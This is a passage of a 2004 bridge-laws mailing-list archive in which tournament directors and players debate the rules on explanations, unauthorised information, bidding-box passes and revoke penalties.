--------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 16 03:19:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 13:19:38 +1000 Subject: [blml] Explain Message-ID: Grattan Endicott wrote: >>+=3D+ My 'torque' is simply to say that whether you are >>Mrs. Grigglemouse at the Isachsen Bridge Club >>or Chairman or Secretary of the World Laws >>Committee you have no power to make the law what >>you would like it to be merely by asserting it to be so. >>The WBFLC put that method out to grass soon after Kaplan >>departed. [snip] >>Perhaps the easiest is for the WBFLC to be invited to say >>that black is white in respect of the current wording, >>although this thought may be a mite cynical. >> ~ Grattan ~ +=3D+ In "Cakes and Ale", W. Somerset Maugham wrote: >Hypocrisy is the most difficult and nerve-wracking vice >that any man can pursue; it needs an unceasing vigilance >and a rare detachment of spirit. It cannot, like adultery >or gluttony, be practised at spare moments; it is a >wholetime job. Richard James Hills notes: The WBF LC has *already* asserted to be so that black is white, when the WBF LC interpreted Law 80F in a way that is directly contradictory to what Law 80F actually says. Even the former Chief Director of the WBF has earlier posted a blml comment disagreeing with the WBF LC's Orwellian twisting of the English language. Indeed, as I recall, even the current Secretary of the WBF LC has earlier posted a blml comment using the phrase "driving a horse and cart through" the Laws, when the Secretary described his personal qualms about the majority decision of the WBF LC to blacken the whiteness of Law 80F. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From swillner@hotmail.com Tue Mar 16 02:54:03 2004 From: swillner@hotmail.com (Steven Willner) Date: Mon, 15 Mar 2004 21:54:03 -0500 Subject: [blml] Pass out seat action? Message-ID: Nancy writes: The current ACBL rules, whether they are followed at the clubs or not, are that the bidding ends in two ways - a verbal pass or a pass card on the table. Picking up your bid cards or tapping the pass card does not constitute a pass. In this example the auction is still live as there have not been three legal passes. I enforce this rule in all my games. Mike Flader published this in a recent ACBL bulletin. Steve replies: I don't recall seeing that from Mike Flader, but I agree about what the ACBL rule is supposed to be. However, practical experience is otherwise. Below is a repeat of a BLML post from a couple of years ago. >From willner Sun Jan 6 15:20:24 2002 Subject: The final pass? We had a discussion some while ago about whether picking up the bidding cards constitutes a final pass. Well, I now have practical experience to report. My RHO bid 1C, I bid 1D, LHO bid 2C, which I did not see. Two passes and everyone picked up the bidding cards. I was quite surprised it wasn't LHO's lead. The TD, with no real effort to find out facts, ruled that my final pass was made. (He did, after some consideration, offer me L25B.) His statement was to the effect that picking up the bidding cards "made it look to everyone else" as though I was passing, this despite the fact that I _never_ fail to put out the final green card. At my request, he confirmed this ruling with the CTD. (This was at a regional tournament here in Massachusetts.) So in ACBL District 25 (New England region), this is the practical ruling one can expect. I'm wondering what would have happened if partner, knowing that I never make my final pass by picking up the bidding cards, had immediately asked whether the auction was over. _________________________________________________________________ FREE pop-up blocking with the new MSN Toolbar – get it now! http://clk.atdmt.com/AVE/go/onm00200415ave/direct/01/ From richard.hills@immi.gov.au Tue Mar 16 03:58:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 13:58:53 +1000 Subject: [blml] Explain Message-ID: In the parallel "Standard" thread, Jaap van der Neut wrote: >>So basically you say this EBU thing is not a >>bridge regulation but an anti-cheating >>regulation. Don't worry, I can easily >>understand such a regulation and its 'howling >>success in EBU-land'. But strangely in most >>other jurisdictions we can handle Stayman-ask- >>club-lead type of jokes (which is cheating not >>bridge) with current laws. [snip] In this "Explain" thread, Nigel Guthrie asserted: [snip] >it is very noticeable that when an EBU expert asks >about a specific bid (say, 4th suit) then he >doesn't want that lead. [snip] Richard James Hills replies: One does not become an expert without realising that asking about a particular call as a lead-directing question for one of the other three suits is cheating, and also obvious-to-all cheating. One does not become an expert without realising that obvious-to-all lead-directing questions by an expert consequentially result in an appearance before the local Laws and Ethics Committee. Is Nigel implying that all EBU experts are not only cheats, but also stupid cheats? Am I implying that Nigel is a paranoid rabbit? :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Tue Mar 16 03:22:07 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 16 Mar 2004 03:22:07 +0000 Subject: [blml] Standard In-Reply-To: References: Message-ID: <+gggEfRfLnVAFwGv@blakjak.demon.co.uk> Gordon Bower wrote >On Mon, 15 Mar 2004, David Stevenson wrote: > >> It is intriguing how many people who are not in England assume that a >> regulation which has been a howling success at reducing a serious >> problem to minute proportions is completely wrong. >> >> The aim of the EBU regulation was to stop the continuous club leads to >> alerted Stayman bids, diamond and heart leads to transfer bids, the >> French defence to 1NT openings, two-level takeout doubles [less values >> if done after a question] and so on and so on. > >As I said, the aim is an honourable one. > >> I know that players could be continually calling the TD for UI rulings >> in clubs - club TDs would love that - but the solution of getting the >> problem to go away in most cases seems laudable. Why do you consider it >> a failure? >> >> Maybe in North America fifteen years ago players asked what a 2C >> response to 1NT was always or never. In which case you did not need our >> reg: but we did. > >Fifteen years ago, I couldn't say: I've been playing tournament bridge for >eleven years now, and directing for eight. In my experience it's a minor >problem confined entirely to beginners who don't know better. In all that >time I can recall only two cases at my table where a moderately >experienced player's question seemed a bit suggestive. I've neither called >a director nor been called for this infraction, ever. > >Players here sometimes are advised not to ask until the end of the auction >- but the advice is always followed by "because you don't want to bail out >the opponents if they're having a misunderstanding," on suspicion the >other side might abuse UI - the idea of giving your partner a problem by >asking just doesn't cross people's minds much here, apparently. > >Why do I consider the EBU approach a failure? Well.... on BLML, we've had >a number of cases involving UI after a question, and all the cases seem to >have come from outside North America. That is because you don't ask questions in North America. Do you know how many players in the Nationals lead face down and wait for partner? Very few, because partner **never** asks questions. I get extraordinary looks of surprise, and much huffing and puffing, and one accusation of bad ethics, because I ask questions. North Americans don't. Of course, if my bidding is different form what they expect they will moan at me. I play with a female from MD. It took a lot of work ot persuade her to lead face down and wait for me to ask or not. Yet I would say she is one of the most sensible people I have met at a Nationals. In other parts of the world [except France] they ask questions. It is different. > And you've just asked me to comment >on the EBU appeals from last year -- two of the nineteen appeals involved >this very regulation, while two other appeals involved hesitations. We get >plenty of UI-from-hesitation rulings here, and some of them are >appealed. The evidence available to me so far is that a) the motivating >problem is an extremely rare one and b) the "solution" has *doubled* the >number of people who are put into a damned-if-you-bid, damned-if-you-dont >situation. Yes, I call that a failure of monumental proportions. I admit >that my conclusion is based on two assumptions -- that my experience as a >player and director has been typical, and that my small sampling of EBU >cases has been representative. > >I suppose this will be another issue like "red psyching" that we'll be >forced to agree-to-disagree about. My feelings there are much the same - a >small problem with a draconian solution that infringes on player's rights. It was a very large problem, with a simple solution that does not affect anyone's rights unless they are unethical. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Tue Mar 16 04:06:14 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:06:14 -0500 Subject: [blml] alerts, questions, answers and UI [was Standard] In-Reply-To: <000001c40a14$ff66d710$6900a8c0@WINXP> Message-ID: <44B7F0F9-76FF-11D8-B313-0030656F6826@rochester.rr.com> On Sunday, Mar 14, 2004, at 17:37 US/Eastern, Sven Pran wrote: > On the contrary the present laws discourage interest in specific > calls and dictate that explanations shall be asked and given for > the auction as a whole. Precisely. The alert procedure has always bothered me because it not only allows players to pinpoint interest in a specific call, it has led to a culture where players do that routinely and think nothing of it. I was reading a couple of books this weekend. Robson and Segal, in "Partnership Bidding", discuss this sequence: (1H)-1S-(2D)-? They suggest that if 2D is forcing, double should be for takeout, while if it is not forcing, double should show a minimum spade raise, and suggest *not* leading the suit. Suppose you find yourself in this position. If you ask "Is 2D forcing" you will know what you need to know - but partner will have UI. You can look at their convention card - if they have one - but it will not, in the ACBL at least, tell you what you need to know. You can ask "please explain your auction" or "tell me what I need to know about your partner's hand" or whatever, but around here, you *will* *not* get the answer you need unless you ask specifically whether 2D is forcing. And when you do, partner will have UI which will probably constrain his actions when you double. IMO, something is seriously wrong with this picture - particularly when the problem is exacerbated, if not caused, by opponents' failure to fully disclose their agreements. From richard.hills@immi.gov.au Tue Mar 16 05:02:28 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 15:02:28 +1000 Subject: [blml] ethics or Ethics (was Should ... infractions) Message-ID: Richard James Hills asked: >>>Which of these two Proprieties has primacy? David Stevenson suggested: [snip] >>Perhaps Law 1 in the new Law book should say >>"Where everyone knows what we mean then we >>mean that even if sea lawyers can prove the >>wording says otherwise." Richard James Hills continues: Behind the irony, David is presenting the germ of a good idea. The practical reason that the WBF LC decided to reinterpret Law 80F, in order to limit its scope, was that otherwise SOs would have been hamstrung in their creation of regulations, due to the clashes of one Law with another Law. At the moment, the Laws are numbered in a fairly random fashion, vaguely grouped together according to topic, so it is difficult to tell how "everyone knows" clashes of primacy are resolved. Perhaps the WBF could renumber and rewrite the Laws as a nested hierarchy, a la Isaac Asimov's Three Laws of Robotics: >Law 1 A robot may not injure a human being or, >through inaction, allow a human being to come >to harm. > >Law 2 A robot must obey orders given it by >human beings except where such orders would >conflict with the First Law. > >Law 3 A robot must protect its own existence >as long as such protection does not conflict >with the First or Second Law. If the 2006 Laws were a nested hierarchy, part of the new Laws might read: "Law 13 A player must give a full explanation to the opponents, except when such an explanation conflicts with Laws 1 to 12." "Law 14 A player must avoid giving unauthorised information to partner, except when such an avoidance conflicts with Laws 1 to 13." Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Tue Mar 16 04:09:21 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:09:21 -0500 Subject: [blml] Standard In-Reply-To: Message-ID: On Sunday, Mar 14, 2004, at 21:28 US/Eastern, richard.hills@immi.gov.au wrote: > The reason that Law 20 is not part of this discussion > is because the WBF LC has (in effect) redefined Law > 20 as a dead-letter Law. The only way to get out of here is to be judged insane. However, if you *want* to get out of here, you must be sane. Therefore, you cannot get out of here if that is what you want. I wonder if Heller was a bridge player. From ereppert@rochester.rr.com Tue Mar 16 04:15:34 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:15:34 -0500 Subject: [blml] Standard In-Reply-To: Message-ID: <9274D031-7700-11D8-B313-0030656F6826@rochester.rr.com> On Sunday, Mar 14, 2004, at 21:01 US/Eastern, David Stevenson wrote: > Time. If we accept your interpretation of L20 - as you know, I don't > - then following the Laws means that bridge games never finish. Never? Hyperbole. I do not think that we - whether "we" is players or TDs or the WBFLC - can pick and choose which laws to follow and which not, and which to follow "part way" or "some of the time" just because we feel it would be "too hard" to follow them. If the law is wrong, change the law, don't ignore it. All that does is promote contempt for *all* the laws. From ereppert@rochester.rr.com Tue Mar 16 04:17:21 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:17:21 -0500 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: <+BlwcSKK4QVAFwUM@blakjak.demon.co.uk> Message-ID: On Sunday, Mar 14, 2004, at 20:59 US/Eastern, David Stevenson wrote: > Perhaps Law 1 in the new Law book should say "Where everyone knows > what we mean then we mean that even if sea lawyers can prove the > wording says otherwise." > 'If "everyone knows" such-and-such, then it ain't so.' - Robert A. Heinlein From ereppert@rochester.rr.com Tue Mar 16 04:19:19 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:19:19 -0500 Subject: [blml] Standard In-Reply-To: Message-ID: <18A6EE24-7701-11D8-B313-0030656F6826@rochester.rr.com> On Sunday, Mar 14, 2004, at 21:09 US/Eastern, David Stevenson wrote: > You clearly have not tried asking bridge players for explanations. I guess the people against whom I play bridge are not bridge players then. Some of them, at least, will be surprised to hear that. From ereppert@rochester.rr.com Tue Mar 16 04:25:51 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:25:51 -0500 Subject: [blml] Pass out seat action? In-Reply-To: Message-ID: <023908A9-7702-11D8-B313-0030656F6826@rochester.rr.com> On Monday, Mar 15, 2004, at 00:42 US/Eastern, John (MadDog) Probst wrote: > Did you ever pass? (and of course if you didn't then 3C is allowable, > UI > notwithstanding) According to the EBU OB (and, for that matter, the ACBL bidding box reg), no, you did not pass. From ereppert@rochester.rr.com Tue Mar 16 04:28:57 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:28:57 -0500 Subject: [blml] Standard In-Reply-To: <5.2.0.9.0.20040315081028.0261c2a0@pop.starpower.net> Message-ID: <710A1F84-7702-11D8-B313-0030656F6826@rochester.rr.com> On Monday, Mar 15, 2004, at 08:26 US/Eastern, Eric Landau wrote: > It does not, however, provide as much information as a bid-by-bid > explanation does -- there may be inferences from an opponent's call > which are only available if you know what he knew about partner's hand > at the time he made it, as opposed to what he knew at the end of the > auction. Such inferences are disclosable, are they not? If they are left out, then that is MI. > While Ed's suggestion should be allowed, even encouraged, the right > to have the opposing auction explained bid by bid must be retained. I have not problem with that. From ereppert@rochester.rr.com Tue Mar 16 04:37:36 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:37:36 -0500 Subject: [blml] Pass out seat action? In-Reply-To: <001701c40a92$a3fd5c90$6401a8c0@hare> Message-ID: On Monday, Mar 15, 2004, at 08:37 US/Eastern, Nancy T Dressing wrote: > I think "tapping the table" is a poker, blackjack, etc. custom. Not > bridge...... Heh. When I took up duplicate in England, about 13 years ago, I learned that tapping the table signifies an alert. So now, when people tap the table, I ask them to please clarify - "are you alerting something?" Too damn many times I've seen this at the table: 1NT on my right, pass, 3NT on my left, pass, tap, the opponents (and often my partner, lemming-like) pick up their bidding cards. I have been saying at this point "excuse me, the auction is not over" and waiting until all cards are back on the table (including RHO's final pass) before calling. Maybe I should be calling the TD. NB: in this example, I was almost certainly going to pass, but there have been some auctions in which I was contemplating some other action. As for it not being a bridge custom, around here we normally play 24 boards a session. I doubt there are more than 3 or 4 boards a session in which someone has *not* tapped the table at some point. But it's an illegal custom, and I'd like to see it stamped out. Not that I have a chance in hell of seeing it happen. :( From ereppert@rochester.rr.com Tue Mar 16 04:44:31 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:44:31 -0500 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: Message-ID: <9D8912EC-7704-11D8-B313-0030656F6826@rochester.rr.com> On Monday, Mar 15, 2004, at 13:24 US/Eastern, David Stevenson wrote: > But the word knowingly is the problem. Like so many other parts of > the laws we apply the TD makes a judgement decision. > > I think the importance of L72 where matters like this are concerned > is > that it tells us what we must do and what not. Rarely does it become > particularly relevant for a ruling. The TD who penalizes me for a violation of L72 when I was not aware that I had claimed more tricks than I should have will get one response from me: I don't play where he directs again. Ever. From ereppert@rochester.rr.com Tue Mar 16 04:49:44 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 23:49:44 -0500 Subject: [blml] Pass out seat action? In-Reply-To: Message-ID: <583F0116-7705-11D8-B313-0030656F6826@rochester.rr.com> On Monday, Mar 15, 2004, at 17:04 US/Eastern, Robert E. Harris wrote: > Much better to have the FBI arrive. It's a Federal felony to lie to > them. Which is why I agree with Jerry Pournelle: when the feds come to ask you questions, say nothing. From richard.hills@immi.gov.au Tue Mar 16 05:53:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 15:53:07 +1000 Subject: [blml] alerts, questions, answers and UI [was Standard] Message-ID: Ed Reppert wrote: [snip] >Robson and Segal, in "Partnership Bidding", discuss >this sequence: (1H)-1S-(2D)-? They suggest that if >2D is forcing, double should be for takeout, while >if it is not forcing, double should show a minimum >spade raise, and suggest *not* leading the suit. >Suppose you find yourself in this position. If you >ask "Is 2D forcing" you will know what you need to >know - but partner will have UI. You can look at >their convention card - if they have one - but it >will not, in the ACBL at least, tell you what you >need to know. [snip] Richard James Hills replies: This is an example of David Burn's paradox. Burn argued that Law 75A is unenforcable, because it is impossible to arrange for completely "full" disclosure. Any SO's system card regs and alert regs must be, in the real world, inadequate at the margins. Better regs merely reduce the amount of incomplete disclosure, but cannot eliminate it. Ed's example problem does not occur in Australia, thanks to negative free bids being pre-alertable in Oz. On the other hand, another example problem of an unusual redouble is fully resolved by ACBL regs, while the Aussie self-alerting reg mandates incomplete disclosure. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 16 06:22:13 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 16:22:13 +1000 Subject: [blml] Standard Message-ID: David Stevenson wrote: [snip] >That is because you don't ask questions in North >America. Do you know how many players in the >Nationals lead face down and wait for partner? >Very few, because partner **never** asks >questions. [snip] Richard James Hills notes: The lack of questions in North America is a logical consequence of the monoculture imposed by the Board of Directors of the ACBL in inhibiting system experimentation. I believe that the genesis of this monoculture dates back to the controversial ACBL President Mathe, who had the influence to enforce his preference for natural bidding by placing a five-year moratorium on the legalising of new conventions between 1970 and 1975. Off-topic note: There is an Aussie international player, whose ethics occasionally drift into the light grey area. (His minimalist disclosure of methods saw the no-nonsense Chief Director Franklin impose a PP on the Aussie team at the 1984 Seattle Olympiad.) I rarely have the "pleasure" of playing against this expert, since my mediocre ability means that my team rarely performs well enough to meet his team at Table One. But on one such occasion, he arrived at the table, and cheerily informed me that he had lost his system card. I requested that he complete a new system card. He objected to this so-called waste of time, since when he had recently played in ACBL-land, nobody ever looked at his system card. I noted that in ACBL-land he was not permitted to use his current methods of Modified Moscito with Transfer Openings. Maybe Mathe was right? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Mar 16 06:50:36 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 16:50:36 +1000 Subject: [blml] ethics or Ethics (was Should ... infractions) Message-ID: Ed Reppert: [snip] >>Violation of Law 62A is easy to prove - >>violation of Law 72A2 is not. Law 62A: >A player must correct his revoke if he >becomes aware of the irregularity before >it becomes established. Richard James Hills: In my opinion, infractions of Law 62A are just as difficult to prove, as infractions of Law 72A2 are. Indeed, the difficulty of proving Law 62A infractions is why Herman De Wael objected to the proposed reduction in the 2006 Laws of the revoke penalty to a standard of one trick (unless Law 64C modifies the standard penalty). This was because Herman argued that there are sufficiently large numbers of unethical revokers who might deliberately conceal their unestablished revoke - if they thought that the damage to them from an unestablished revoke's penalty card would be greater than the damage to them of an established revoke's 2006 mere one-trick penalty. My point in starting this thread was to argue that unenforcable Laws are desirable as standards to aspire to. My hobby-horse is that if Law 72B3 were inverted in the 2006 Laws, and became an aspirational but unenforcable statement that a player should draw attention to *all* their infractions (not merely their own unestablished revokes), then this unenforcable inversion of Law 72B3 would be a Good Thing. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From jaap.vander.neut@noos.fr Tue Mar 16 08:20:54 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Tue, 16 Mar 2004 09:20:54 +0100 Subject: [blml] Revokes References: Message-ID: <005d01c40b2f$9b9554c0$8a5b4151@yourhpbmye9tmb> What about this one: !! read RJH's last mail on: ethics or Ethics (was Should ... infractions) Late Sunday, one of the last rounds of a pairs championship, both pairs out of contentention. Dummy (east) still has AQx of spades (trumps) and a winner. South is on lead and leads a heart wich is ruffed by North with the SK promoting the SJx in South. The problem being, of course, North still had a heart. This wasn't discovered at the table and the score (very good for NS, this was for down one) duly made it to the final results. Now in this case North didn't do it on purpose. North was just tired. West and South also because for both it should be evident from the play and bidding that North started with 4H so still had one in the ending. So we can discuss my ethics. I was South, I didn't realise it actively but I thought it a bit strange that partner ruffed (I realised what happened hours later looking at the hand records). I could have done more than just shrug my shoulders. Lets say nobody cared. Too late, too much bridge, nothing at stake anymore. But now the real problem. Suppose NS is a pair in contention and EW remains a tired mediocre pair out of contention. It is a perfectly free shot to ruff with the SK. Changes are it won't be discovered and if you get caught you say sorry and claim to be tired (obviously true). The problem is there is no penalty other than to lose the trick you stole. Do we like the laws to be like that or not. I think there is a case to have more severe penalties for this type of infractions. But then there also is a case to accept the current situation. Although I am quite sure this kind of techniques are being used in open pairs type of events. Jaap ----- Original Message ----- From: To: Sent: Tuesday, March 16, 2004 7:50 AM Subject: Re: [blml] ethics or Ethics (was Should ... infractions) Ed Reppert: [snip] >>Violation of Law 62A is easy to prove - >>violation of Law 72A2 is not. Law 62A: >A player must correct his revoke if he >becomes aware of the irregularity before >it becomes established. Richard James Hills: In my opinion, infractions of Law 62A are just as difficult to prove, as infractions of Law 72A2 are. Indeed, the difficulty of proving Law 62A infractions is why Herman De Wael objected to the proposed reduction in the 2006 Laws of the revoke penalty to a standard of one trick (unless Law 64C modifies the standard penalty). This was because Herman argued that there are sufficiently large numbers of unethical revokers who might deliberately conceal their unestablished revoke - if they thought that the damage to them from an unestablished revoke's penalty card would be greater than the damage to them of an established revoke's 2006 mere one-trick penalty. My point in starting this thread was to argue that unenforcable Laws are desirable as standards to aspire to. My hobby-horse is that if Law 72B3 were inverted in the 2006 Laws, and became an aspirational but unenforcable statement that a player should draw attention to *all* their infractions (not merely their own unestablished revokes), then this unenforcable inversion of Law 72B3 would be a Good Thing. Best wishes RJH ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From cibor@poczta.fm Tue Mar 16 09:27:58 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Tue, 16 Mar 2004 10:27:58 +0100 Subject: [blml] Revokes References: <005d01c40b2f$9b9554c0$8a5b4151@yourhpbmye9tmb> Message-ID: <001c01c40b38$fe048640$20cd46a2@ams.com> ----- Original Message ----- From: "Jaap van der Neut" > Do we like the laws to be like that or not. I think there is a case to have > more severe penalties for this type of infractions. But then there also is a > case to accept the current situation. Although I am quite sure this kind of > techniques are being used in open pairs type of events. > > Jaap I firmly believe that laws of every game should always make the nefarious conduct unprofitable. Under the present "restore the equity" approach it is often a no-lose strategy for the villains. I know the arguments "very few people cheat so it is not worth making the laws on the assumption that they exist" but the result of this approach is that those who do cheat have a big edge. I really don't see why, say, the revoke laws couldn't punish the revoker one extra trick - even the one that he took earlier. Konrad Ciborowski Krakow, Poland From nigel.guthrie@ntlworld.com Tue Mar 16 10:10:10 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 16 Mar 2004 10:10:10 -0000 Subject: [blml] Explain References: Message-ID: <00e901c40b3e$de736980$329868d5@tinyhrieuyik> > [Richard James Hills] > Am I implying that Nigel is a paranoid rabbit? [Nigel] I quite like the epithet of "Walrus" or "Rabbit" but resent "paranoid" because that over-reaction by Secretary Birds is at the heart of the problem. I assume that there are occasional successful appeals about a naive player asking about bid of the suit he wants led or bid. I don't think there has ever been a successful appeal ruling about the more frequent occurrence of an experienced player asking about a bid of a suit that he does *not* want led or bid. Secretary birds seem to mutate into Ostriches and pretend to believe that this is because the latter never occurs. IMO it is rarely noticed, even more rarely reported, and on those occasions when it is, the TD's reaction is "How were you damaged?" If the poor rabbit tries to pursue the matter the experienced player concocts a plausible "justifification" of his question; and his partner's inaction is "proof" that there was no UI. So the expert *always* gets away with it. I admit that if the average TD recognised the possibility of a problem, things could be different. But most TDs agree with Richard, regarding such complaints as mostly paranoid. IMO this is a typical scenario with many of the current laws. It will become much more prevalent and noticeable as equity rules take over from deterrent rules. Of course, I would be delighted to be shown to be wrong. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From nigel.guthrie@ntlworld.com Tue Mar 16 10:33:37 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 16 Mar 2004 10:33:37 -0000 Subject: [blml] ethics or Ethics (was Should ... infractions) References: Message-ID: <011901c40b42$25a16de0$329868d5@tinyhrieuyik> [David Stevenson] > Perhaps Law 1 in the new Law book should say "Where everyone knows > what we mean then we mean that even if sea lawyers can prove the > wording says otherwise." [Nigel] Obviously TDs have amazing talents in clairvoyance and telepathy. Most naive players rely simply on the words of the law-book. Only a few of us seek guidance in fora like this and we are most grateful when eminent officials do stoop to answer even a few of the basic questions that we raise. But we would prefer an overhaul of the law book to be more complete and better reflect what its authors intend. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From wayne.burrows@xtra.co.nz Tue Mar 16 10:48:17 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 16 Mar 2004 23:48:17 +1300 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: <+BlwcSKK4QVAFwUM@blakjak.demon.co.uk> Message-ID: <00a101c40b44$318e5670$7c2e37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Monday, 15 March 2004 3:00 p.m. > To: blml@rtflb.org > Subject: Re: [blml] ethics or Ethics (was Should ... infractions) > Perhaps Law 1 in the new Law book should say "Where everyone knows > what we mean then we mean that even if sea lawyers can prove > the wording > says otherwise." Perhaps if someone you call a sea lawyer is arguing differently then not everyone knows what we mean. It would be much simpler if the laws said what they meant. Wayne From emu@atrax.net.au Tue Mar 16 11:05:28 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Tue, 16 Mar 2004 22:05:28 +1100 Subject: [blml] Pass out seat action? In-Reply-To: Message-ID: <004a01c40b46$99908ca0$6056dccb@noeltsui0kso1i> There are often not enough Pass cards in the box, so the Tap at our club (when out of Passes) is usually accepted as a Pass. [Someone has also swiped all the Alert Cards, and in some cases removed the 7C cards...jokers!] regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Ed Reppert Sent: Tuesday, March 16, 2004 3:38 PM To: blml Subject: Re: [blml] Pass out seat action? On Monday, Mar 15, 2004, at 08:37 US/Eastern, Nancy T Dressing wrote: > I think "tapping the table" is a poker, blackjack, etc. custom. Not > bridge...... Heh. When I took up duplicate in England, about 13 years ago, I learned that tapping the table signifies an alert. So now, when people tap the table, I ask them to 